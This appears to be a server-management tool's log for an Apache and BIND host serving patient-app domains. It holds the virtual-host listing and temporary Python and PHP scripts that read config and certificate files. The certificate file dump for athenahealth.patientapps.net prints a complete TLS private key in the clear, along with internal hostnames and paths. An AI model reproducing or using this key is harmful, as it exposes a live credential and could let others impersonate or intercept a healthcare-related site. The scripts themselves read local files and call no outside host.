         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-22 06:01:14: 

PUT: /tmp/pkp753687

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 06:01:14: 

chmod 755 /tmp/pkp753687; /tmp/pkp753687; rm /tmp/pkp753687

2026-07-22 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-07-22 06:01:14: 

PUT: /tmp/pkp415127

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 06:01:14: 

chmod 755 /tmp/pkp415127; /tmp/pkp415127; rm /tmp/pkp415127

2026-07-22 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	7453
3c:6a:cd:0f:be:0a:24:6e:14:64:ea:c0:08:b7:47:af

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBdgxKy7VgTzSvYb8mx4OeKoVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzIyMDUwMjQyWhcNMjYxMDIwMDUwMjQxWjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAo3qfKafEmiW676k0/DK64utWbqh/f7gVoHg7JibDjG+y
mqvO4m0OtQ+w5cSUMS4Yy0/0UabO3/myExvH+N5FGkdQAMsLBoksw6oamXHRDAN+
NEE1vJ/5VRwmpNurgBofPCJSavtKJ9u/O1vIv5gnUTdqCZqgJSVYMzVGkVz9Cyj5
jIzZuj75KPKtUhRLWJgXvFWATreMru1Vzdz7fl3FysLcoI/DUYZhqsGRyYcJqv7u
ZtEzHQNrjVEDhD/yn9V2j1jCNGRCZi7xOARCpMzLAsQJJ7r7jxLk/KQzB4BCle7b
gNIssL0q1QCCeSC0lXc9PJeQrkMjXnb7c9nTHxFYXwIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMJaDlp/5xjGHgPY09+iLOB8yjuRMB8GA1UdIwQYMBaAFB8vNb5G
FILNQLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3lyMS5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8veXIxLmMubGVuY3Iub3JnLzIyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB/AEavhj07PuWfpXfeqCRdNrDZ7SKiI/Rhd0EilFLulVBfAAAB
n4hp8sQACAAABQAN/y0bBAMASDBGAiEA5nLsZSatx3ch2ZV9krqYpdQLNjEKWnxb
LTrs4HUKkG4CIQCRv7y9GABUOLEr8bIzDQAhc0p/OnusnlbSFvOBD64+5gB2ANgJ
VTuUT3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABn4hp8uoAAAQDAEcwRQIh
AIFTuwt1udhU8W3vbxMxjtd2LoM7PYwOVwpKjioRekxKAiBlKQsjSJMETzKbPfZE
ogA+AgjBLX7hsmOCROX07h1mAzANBgkqhkiG9w0BAQsFAAOCAQEAhQgiEDFYQ9Xx
UldHI3qPHf5LxUSCf04WVnlV5D0KhOyP6+ypsCwzOxXDhXtDA6mvvFbIxqWmjQrO
Q6Eke1Al7gaKHwLvX+9Z0WZIAXoq/ZO5x8/Y1lqSIVxNLGr0+TYgODuGbbvw/bIf
EyPQUWgS/nnMQRx/3Gwlm04EhYevWgbn64IRi1SWZESJmQyR0e6+BNVVEepgYgrZ
iJT9aoIzbnCrM580SgeJvolTk8/TBMis7CFS+e1NyfUFmynd0R+jgd9tAmn+iAPO
+vpe4E2UH1bZTZQ1QrOBi7R9D9zYGZfsu8EANUcZSbQqTe7mkFwWWvJWemiJbRCK
oB0wqJe4fA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjep8pp8SaJbrv
qTT8Mrri61ZuqH9/uBWgeDsmJsOMb7Kaq87ibQ61D7DlxJQxLhjLT/RRps7f+bIT
G8f43kUaR1AAywsGiSzDqhqZcdEMA340QTW8n/lVHCak26uAGh88IlJq+0on2787
W8i/mCdRN2oJmqAlJVgzNUaRXP0LKPmMjNm6Pvko8q1SFEtYmBe8VYBOt4yu7VXN
3Pt+XcXKwtygj8NRhmGqwZHJhwmq/u5m0TMdA2uNUQOEP/Kf1XaPWMI0ZEJmLvE4
BEKkzMsCxAknuvuPEuT8pDMHgEKV7tuA0iywvSrVAIJ5ILSVdz08l5CuQyNedvtz
2dMfEVhfAgMBAAECggEAIUCXcF8mL96d1BLcarIc7nxFE/QlHwMALyhVi7CV1RKB
R1HMHqVlOPIMnufp5skEFRLZ1OPzr344OQfNGLOJZct8m/Sw9O7hEpmemHict29c
c9+RwSDfE+9Kcv0VuNRXZyFqF0Wu80WQ8897GXGnCa+WW4a+rV+Xva7IAFhkRikH
ryyFF1tOUpaVU3jdbvqUGuSd2PdrcGDuY9rO7/vEFG4nJF9c1H4EOPIw+GFyM/Jm
FHD5VdviZUnD1HljVsKIGyOnbcWkxezW/XJopYkr/9Oic4iQSY0JeP/NpuWuYgY1
weGCWbP9srFL+lZdqJ3WxkCLwVAj4/SYDEanm53iiQKBgQDV4a53KBmc4eIqwi7J
Cz1JSyYBitlun9GHj7LLF1IMRUoVIo36lkeiLMpn0WFgzyeqZ/RR4JFBfhBRaDuT
edljxaj/yj+9r1cb98QapUQ5SRQYJkJC1VfBrsW2KcVIQPRMXPM59x2T5Fsj6Ccm
xGZ6nh5wQLDsMFcprqSfDrSDuQKBgQDDrARbJCqIUv315CGtXFfgTW7Q5jzhu7em
tKtcFhFhC14mw188o/QY/k7Z9EKIBZauiIRB3VpMX7vjPQ2y53VqvT82bYpWa+Wh
/WJKKc4du5OIg1urVBZRhKJCx4/+ZjZum044xJUWPYeUogCSuUCg5Rl/86popeaD
rfAtMXh41wKBgAT0O0RLS3yUxtZStR63Ae5mrTSv8KVdUk8fhvapTZ83I6YlrMA3
JuWcv/tzoBvL8JFD4ybaWsL3lo0sKuUZl212MJnsJ1nPa+cb8BDl7xScmriMelBt
/KBh2faENSudRYtXQ9L95FN+oJXOVMnTFsSUUQQsm2x9Gie/AdUlVA0RAoGAHfF7
9SqSq6vvmypfEPV5qSSQWb1yAaVFVGh/dKcX377qmIn7T/9TAmQgUvAzIjeguHLB
soaaI+fei8azCvaqnDv7qWuX6OO4D1MEMI83MIuc5x4a8Bv9Elp2rjt1yJuBpulz
TfKfUfj2f4NPDST2Q+jrPw5dvIfuv6XlhDT2158CgYEAyeakH9rQanByatnID32r
jN2SUozbF5BWlxZ0mXN0aiyRS/vSxxPvFeRMSGrxRm6tATaNmcyJQK7xuUWAxz9+
7LEh52fTvsgodHlER90xLrmrgMo1c4tqVEIEd3cZ+ppVkkcW/uZ4kL8GIS/R5NAL
oV4wqaigtoWyHx7QjzBrvqI=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-22 09:13:06: Establishing a connection
2026-07-22 09:13:13: Establishing a connection
2026-07-22 09:13:14: 

PUT: /tmp/pkp952097

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-22 09:13:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp952097; rm /tmp/pkp952097'

2026-07-22 09:13:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
